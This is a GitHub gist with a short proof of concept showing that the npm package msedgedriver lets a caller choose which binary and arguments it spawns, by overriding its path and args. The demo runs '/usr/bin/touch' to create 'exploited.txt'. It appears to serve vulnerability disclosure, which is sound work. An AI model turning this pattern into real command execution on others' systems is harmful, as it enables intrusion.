Created
October 29, 2023 14:07
-
-
Save mcoimbra/27bad46a5735a4da496c415a61439673 to your computer and use it in GitHub Desktop.
Package msedgedriver: it is possible to manipulate the binary and arguments passed to spawn by changing 'msedgedriver.path' and configuring 'args'.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('msedgedriver'); | |
pkg.path = '/usr/bin/touch'; | |
const args = ['exploited.txt']; | |
const returnPromise = false; | |
// This will create a local 'exploited.txt' file. | |
pkg.start(args, returnPromise) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment